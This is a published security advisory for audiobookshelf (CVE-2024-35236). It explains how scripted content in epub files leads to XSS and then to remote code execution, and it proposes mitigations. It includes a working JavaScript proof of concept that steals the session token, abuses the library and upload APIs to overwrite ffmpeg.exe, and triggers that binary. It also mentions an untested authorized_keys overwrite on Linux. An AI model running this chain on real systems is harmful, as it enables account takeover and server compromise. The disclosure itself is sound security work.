Skip to content

Cross-Site-Scripting vulnerability via crafted ebooks

Moderate
advplyr published GHSA-7j99-76cj-q9pg May 26, 2024

Package

No package listed

Affected versions

<= 2.9.0

Patched versions

2.10.0

Description

Summary

Opening an ebook with malicious scripts inside leads to code execution inside the browsing context.
With the right privileges of the user, this can lead to remote code execution (RCE) in the worst case.

Tested on version 2.9.0 on Windows.

Details

Because of the epub.js configuration option allowScriptedContent = true, it is possible to execute arbitrary JavaScript code from within an epub file:

allowScriptedContent: true,

epub.js itself uses an iframe to display the epubs. While it does set the sandbox attribute, it also sets allow-same-origin. This can't be changed by the consumer of the library. A combination of allow-scripts and allow-same-origin renders the sandboxing obsolete (see here).

The developers of epub.js warn about this.

In the case of audiobookshelf, exploitation can range from stealing session tokens to RCE on the server.

I'll describe the path to RCE. We assume a user with high privileges (upload, creation of libraries) views a malicious ebook.
Our goal is to overwrite the FFmpeg executable and trigger its execution.

Firstly, the exploit creates a new podcast library with a folder that's two directories above the FFmpeg binary. Because we created a podcast library, only the title of an uploaded file will add to the path, meaning the title should be the name of the directory containing the binary.

We upload a file with the title 'config' and the filename 'ffmpeg.exe', which will overwrite the legit binary. After placing the malicious binary, we create a new podcast and navigate to the library. The cover of our newly added podcasts gets loaded, which in the end triggers our malicious binary for resizing of the image.

This scenario should be exclusive to Windows, because dropped files on Linux lack the execution bit. I haven't tested this, though. On Linux, we could overwrite ~/.ssh/authorized_keys and provide our own public key so that we can log into the machine. I also haven't tested this.

PoC

An ebook can be crafted with Calibre to include this script:

(async function() {
const token = localStorage.token;

const baseHeaders = {
  "Authorization": `Bearer ${token}`,
};

// Because the file upload always adds the 'title' form field as a directory to a library's base directory,
// we need to specify the *parent* of the directory where the ffmpeg and ffprobe binaries reside.
// By default, the containing directory is 'config'.
// We have endpoints for retrieving directory contents, so it's straight forward to get the correct username.

const parentDirectory = "C:/Users/USERNAME/AppData/Local/Audiobookshelf";
const title = "config";
const filename = "ffmpeg.exe";

const libraryOptions = {
  name: "overlay library",
  folders: [{"fullPath": parentDirectory}],
  mediaType: "podcast", // The default is 'book', which leads to a different folder structure for uploads.
};

let response = await fetch("/api/libraries", {
  method: "POST",
  headers: {
    ...baseHeaders,
    "Content-Type": "application/json"
  },
  body: JSON.stringify(libraryOptions)
});

const libraryMetadata = await response.json();
const libraryId = libraryMetadata.id;
const folderId = libraryMetadata.folders[0].id;

const encodedDropper = "endlessly long base64 string";
const dummyUrl = `data:application/octet-stream;base64,${encodedDropper}`;
const dropper = await (await fetch(dummyUrl)).blob();

const formData = new FormData();
formData.append('title', title);
formData.append('library', libraryId);
formData.append('folder', folderId);
formData.append('0', dropper, "ffmpeg.exe");

response = await fetch("/api/upload", {
  method: "POST",
  headers: baseHeaders,
  body: formData
});

const podcastOptions = {
  path: `${parentDirectory}/dummyFolder`,
  folderId,
  libraryId,
  media: {
    metadata: {
      author: "GEBIRGE",
      feedUrl: "https://anchor.fm/s/a121a24/podcast/rss",
      imageUrl: "https://is1-ssl.mzstatic.com/image/thumb/Podcasts125/v4/a6/69/69/a6696919-3987-fbc0-8e0c-1ba0e1349a2b/mza_6631746544165345331.jpg/600x600bb.jpg",
      title: "Every Trick in the Book"
    }
  }
};

await fetch("/api/podcasts", {
  method: "POST",
  headers: {
    ...baseHeaders,
    "Content-Type": "application/json"
  },
  body: JSON.stringify(podcastOptions)
});

// Navigate to a page where our new podcast's cover will be displayed.
// This retrieves the image, which in the end triggers our malicious ffmpeg.exe binary for resizing => RCE. 🥹
setTimeout(function() {
  window.location.replace(`/library/${libraryId}`);
  }, 1000)
})()

Impact

Users have to open a malicious ebook.
However, the attacker doesn't have to prepare a book specifically for audiobookshelf, but can use some fingerprinting to determine in what environment it's running.

Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.

The actual impact depends on the hosting environment. It looks like the most damage can be done on Windows, but an arbitrary file write is powerful enough as is and should easily lead to RCE on Linux, too.

Exploitation inside a container should be more difficult.

Some ideas

In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of foliate sums it up nicely here.
Maybe the user could be given the option to toggle scripted content.
Other options include server-side sanitisation or even serving epubs from a different origin (a different port would be enough). This way, the script wouldn’t get access to the user’s LocalStorage and therefore their access token.

Apart from this, the free form nature of file uploads and library creations is really powerful. While convenient to have this functionality available in the web UI, maybe a more restrictive approach could be taken.

Maybe a config file on the server could specify the parent directory/directories so that newly created libraries can only be children of those.
Maybe filenames could be chosen by audiobookshelf.

I haven't looked too closely into to code to know if this would go against the spirit of audiobookshelf, though.

That's it! If something's unclear, please ask away.

Cheers
Frederic

PS: Audio warning for the PoC video!

audiobookshelf-xss-to-rce-poc.mp4

Severity

Moderate

CVE ID

CVE-2024-35236

Weaknesses

No CWEs

Credits